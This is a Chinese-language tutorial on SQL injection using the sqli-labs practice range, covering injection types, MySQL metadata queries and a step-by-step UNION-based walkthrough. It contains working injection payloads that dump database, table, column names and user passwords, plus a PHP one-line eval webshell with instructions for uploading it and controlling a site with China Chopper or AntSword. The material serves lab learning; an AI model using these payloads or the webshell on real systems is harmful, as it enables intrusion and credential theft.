sql相关知识

sqli-labs靶场及相关知识

在这里插入图片描述

sql的相关知识

一、什么是sql
是一种用于管理关系数据库,并与数据库中的数据进行通讯的计算机语言
二、什么是sql注入
在我们的应用系统使用sql语句进行管理数据库时,往往采用拼接的方式形成一条完整的数据库语言,而危险的是,在拼接sql语句的时候,我们可以改变sql语句。从而让数据执行我们想要执行的语句,这就是我们常说的sql注入
三、sql注入的分类
在这里插入图片描述四、数字型与字符型
1、数字型判断:
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的 and 1=1 和 and 1=2 来判断
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
2、当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:
select * from <表名> where id = 'x'
这种类型我们同样可以使用 and ‘1’=’1 和 and ‘1’=’2来判断:
Url 地址中输入 http://xxx/abc.php?id= x’ and ‘1’=’1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x’ and ‘1’=’2 页面运行错误,则说明此 Sql 注入为字符型注入。
注意:1、字符型会自动加入两个单引号。
2、数字型不会加入两个单引号。
3、被单引号括起来的数据会被当成一个整体。
4、LIMIT m,n 会影响select语句的结果。
5、页面回显发生错误和页面不回显数据是两回事。前者表示sql语句出错了,后者表示sql语句没有错误,但是条件不成立。

基础知识

一、mysql相关指令

1
2
3
4
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=‘security’
查列:select column_name from information_schema.columns where table_name=‘users’
查字段:select username,password from security.users

关于mysql的相关知识可查询mysql相关知识
二、系统函数
1、version()–mysql版本
在这里插入图片描述
2、user()–数据库用户名

在这里插入图片描述
3、database()–数据库名
在这里插入图片描述
4、@@datadir–数据库路径
在这里插入图片描述
5、concat()–连接函数

1
2
3
4
5
concat(str1,str2,...)
--没有分隔符地连接字符串
--返回结果为连接参数产生的字符串
--如有任何一个参数为NULL, 则返回值为 NULL
--可以有一个或多个参数

6、concat_ws()

1
2
3
4
5
concat_ws(separator,str1,str2,...)
--含有分隔符地连接字符串, 分隔符的位置会放在要连接的两个字符串之间
--Separator为字符之间的分隔符, 可以是一个字符串, 也可以是其它参数
--如果分隔符为 NULL, 则结果为 NULL
--函数会忽略任何分隔符参数后的 NULL 值

sql-labs master靶场

一、注入流程:
在这里插入图片描述
我们的数据库存储的数据按照上图的形式,一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据
二、靶场部分解题步骤:
1、判断有无注入
2、判断是什么注入
3、①less1 id=1’;less2 id=1;less3 id=1’);less4 id=1”)
②查看有多少列:order by 3–+
③查看哪些数据可以回显:union select 1,2,3–+
④查看当前数据库:union select 1,2,database()–+
⑤查看数据库security:union select 1,2,group_concat(schema_name)from information_schema.schemata–+
⑥查表:union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=‘security’–+
⑦查询列信息:union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=‘security’–+
⑧查询账号和密码:union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+
4、一句话木马(webshell)
①举例:

1
<?php @eval($_POST['attack']) ?>

利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘attack’]表示从页面中获得attack这个参数值
②一句话木马需要蚁剑,可查看博客中国蚁剑安装教程
③特点:一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
三、sql-labs 靶场注入分类
1、基于从服务器接收到的响应
<1>基于错误的 SQL 注入
原理:注入攻击的原理在于,程序命令和用户数据之前没有进行校验,使得攻击者有机会将程序命令当做用户输入的数据交给web程序,为所欲为。
也就是说:接受相关参数未经处理直接带入数据库查询操作
<2>联合查询的类型
UNION运算符可以bai将两个或两个以上上SELECT语句的查询结果集合合并成一个结果集合显示,即执行联合查询
<3>堆查询注射(堆叠注入)
原理:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
也就是说:将语句堆叠在一起进行查询
<4>SQL 盲注
1、原理:指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入,是一种猜测性质的注入
2、分类
①基于布尔SQL盲注
②基于时间的 SQL 盲注
③基于报错的 SQL 盲注
<5>基于如何处理输入的 SQL 查询(数据类型)
①基于字符串
②数字或整数为基础的